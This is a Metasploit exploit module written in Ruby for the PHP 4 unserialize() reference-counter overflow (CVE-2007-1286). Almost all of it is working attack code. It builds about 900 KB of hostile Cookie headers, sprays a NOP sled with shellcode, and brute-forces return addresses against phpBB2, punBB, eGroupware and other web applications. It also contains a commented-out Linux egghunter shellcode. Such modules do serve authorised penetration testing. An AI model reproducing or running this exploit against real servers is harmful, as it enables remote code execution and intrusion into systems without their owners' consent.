PHP 4 unserialize() ZVAL Reference Counter Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Brute  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',  
'Description' => %q{  
This module exploits an integer overflow vulnerability in the unserialize()  
function of the PHP web server extension. This vulnerability was patched by  
Stefan in version 4.5.0 and applies all previous versions supporting this function.  
This particular module targets numerous web applications and is based on the proof  
of concept provided by Stefan Esser. This vulnerability requires approximately 900k  
of data to trigger due the multiple Cookie headers requirement. Since we  
are already assuming a fast network connection, we use a 2Mb block of shellcode for  
the brute force, allowing quick exploitation for those with fast networks.   
  
One of the neat things about this vulnerability is that on x86 systems, the EDI register points  
into the beginning of the hashtable string. This can be used with an egghunter to  
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction  
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this  
module is more reliable across a wider range of systems.  
  
  
},  
'Author' =>   
[   
'hdm', # module development  
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging  
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited  
],   
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2007-1286'],  
['OSVDB', '32771'],  
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
},  
'Targets' =>   
[  
  
#  
# 64-bit SuSE: 0x005c0000  
# Backtrack 2.0: 0xb797a000  
# Gentoo: 0xb6900000  
#  
[ 'Linux x86 Generic',   
{   
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],   
[ 'Linux x86 phpBB2',   
{  
'DefaultCookie' => 'phpbb2mysql_data',  
'DefaultURI' => '/phpBB2/faq.php',  
'Signature' => /Powered\s+by.*phpBB/,   
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],  
[ 'Linux x86 punBB',   
{  
'DefaultCookie' => 'punbb_cookie',  
'DefaultURI' => '/index.php',  
'Signature' => /Powered\s+by.*PunBB/,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],  
[ 'Linux x86 WWWThreads',   
{  
'DefaultCookie' => 'forum_cookie',  
'DefaultURI' => '/index.php',  
'Signature' => /Powered\s+by.*WWWThreads/,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],  
[ 'Linux x86 Deadman Redirect',   
{  
'DefaultCookie' => 'authcookie',  
'DefaultURI' => '/dmr/dmr.php',  
'Signature' => /document\.f\.userdata\.focus/,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],  
[ 'Linux x86 PhpWebGallery',   
{  
'DefaultCookie' => 'pwg_remember',  
'DefaultURI' => '/phpwebgallery/index.php',  
'Signature' => /Powered\s+by.*phpwebgallery/msi,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],  
[ 'Linux x86 Ariadne-CMS',   
{  
'DefaultCookie' => 'ARCookie',  
'DefaultURI' => '/ariadne/loader.php/',  
'Signature' => /Ariadne is free software/,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],  
[ 'Linux x86 ProMA',   
{  
'DefaultCookie' => 'proma',  
'DefaultURI' => '/proma/index.php',  
'Signature' => /Change Account Information/,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
],   
[ 'Linux x86 eGroupware',   
{  
'DefaultCookie' => 'eGW_remember',  
'DefaultURI' => '/egroupware/login.php',  
'Signature' => /www.egroupware.org/,  
'Platform' => 'linux',   
'Arch' => [ ARCH_X86 ],  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xb6000400 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 1024*1024  
}   
}  
]   
],  
'DisclosureDate' => 'Mar 04 2007'))  
  
register_options(  
[  
OptString.new('URI', [false, "The path to vulnerable PHP script"]),  
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])  
], self.class)  
end  
  
  
def check  
print_status("Checking for a vulnerable PHP version...")  
  
#  
# Pick the URI and Cookie name  
#  
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']  
uri_path = datastore['URI'] || target['DefaultURI']  
  
if(not cookie_name)  
raise RuntimeError, "The COOKIENAME option must be set"  
end  
  
if(not uri_path)  
raise RuntimeError, "The URI option must be set"  
end  
  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'GET'  
}, 5)  
  
php_bug = false  
  
if (not res)  
print_status("No response from the server")  
return Exploit::CheckCode::Safe  
end  
  
if (res.code != 200)  
print_status("The server returned #{res.code} #{res.message}")  
return Exploit::CheckCode::Safe   
end  
  
if (  
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or  
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)  
)  
  
php_raw = $1  
php_ver = php_raw.split('.')  
  
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)  
print_status("The server runs a vulnerable version of PHP (#{php_raw})")  
php_bug = true  
else  
print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")  
return Exploit::CheckCode::Safe   
end  
end  
  
# Detect the phpBB cookie name  
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)  
print_status("The server may require a cookie name of '#{$1}_data'")  
end  
  
if(target and target['Signature'])  
if (res.body and res.body.match(target['Signature']))   
print_status("Detected target #{target.name}")  
else  
print_status("Did not detect target #{target.name}")  
end  
  
end  
  
return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears  
end  
  
  
def brute_exploit(target_addrs)  
  
zvalref = encode_semis('i:0;R:2;')  
  
#  
# Use this if we decide to do 'jmp edi' returns vs brute force  
#  
=begin  
# Linux specific egg-hunter  
tagger = "\x90\x50\x90\x50"  
hunter =   
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +  
"\x3c\xf2\x74\xf1\xb8" +  
tagger +  
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"  
  
egghunter = "\xcc" * 39  
egghunter[0, hunter.length] = hunter  
  
hashtable = "\xcc" * 39  
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes  
  
hashtable[20, 4] = [target_addrs['Ret']].pack('V')  
hashtable[32, 4] = [target_addrs['Ret']].pack('V')  
=end  
  
#  
# Just brute-force addresses for now  
#   
tagger = ''  
egghunter = rand_text_alphanumeric(39)  
hashtable = rand_text_alphanumeric(39)  
hashtable[20, 4] = [target_addrs['Ret']].pack('V')  
hashtable[32, 4] = [target_addrs['Ret']].pack('V')  
  
  
#  
# Pick the URI and Cookie name  
#  
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']  
uri_path = datastore['URI'] || target['DefaultURI']  
  
if(not cookie_name)  
raise RuntimeError, "The COOKIENAME option must be set"  
end  
  
if(not uri_path)  
raise RuntimeError, "The URI option must be set"  
end  
  
# Generate and reuse the original buffer to save CPU  
if (not @saved_cookies)  
  
# Building the malicious request  
print_status("Creating the request...")  
  
# Create the first cookie header to get this started  
cookie_fun = "Cookie: #{cookie_name}="  
cookie_fun << Rex::Text.uri_encode(  
'a:100000:{s:8:"' +   
rand_text_alphanumeric(8) +  
'";a:3:{s:12:"' +   
rand_text_alphanumeric(12) +   
'";a:1:{s:12:"' +  
rand_text_alphanumeric(12) +  
'";i:0;}s:12:"' +  
rand_text_alphanumeric(12) +  
'";'+  
'i:0;s:12:"' +  
rand_text_alphanumeric(12) +  
'";i:0;}'  
)  
cookie_fun << zvalref * 500  
cookie_fun << Rex::Text.uri_encode('s:2:"')  
cookie_fun << "\r\n"  
  
refcnt = 1000  
refmax = 65535  
  
# Keep adding cookie headers...  
while(refcnt < refmax)   
  
chead = 'Cookie: ';  
chead << encode_semis('";N;')  
  
# Stay within the 8192 byte limit  
0.upto(679) do |i|  
break if refcnt >= refmax  
refcnt += 1  
  
chead << zvalref  
end  
chead << encode_semis('s:2:"')  
cookie_fun << chead + "\r\n"  
end  
  
# The final header, including the hashtable with return address  
cookie_fun << "Cookie: "  
cookie_fun << Rex::Text.uri_encode('";N;')  
cookie_fun << zvalref * 500   
  
@saved_cookies = cookie_fun  
end  
  
# Generate and reuse the payload to save CPU time  
if (not @saved_payload)  
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)  
end  
  
cookie_addrs = Rex::Text.uri_encode(  
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'  
) + "\r\n"  
  
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'raw_headers' => @saved_cookies + cookie_addrs,  
'data' => @saved_payload  
}, 1)  
  
  
if res  
failed = false  
  
print_status("Received a response: #{res.code} #{res.message}")  
  
if (res.code != 200)  
print_status("The server returned a non-200 response, indicating that the exploit failed.")  
failed = true   
end  
  
if (not failed and (res.body and res.body.length > 0))  
print_status("The server returned a real response, indicating that the exploit failed.")  
failed = true  
end  
  
if (failed)  
print_status("Please verify the URI and COOKIENAME parameters.")  
print_line('')  
print_line("*" * 40)  
print_line(res.body)  
print_line("*" * 40)  
print_line('')  
  
raise RuntimeError, "Exploit settings are probably wrong"   
end  
else  
print_status("No response from the server")  
end  
  
end  
  
def encode_semis(str)  
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }  
end  
  
end  
  
`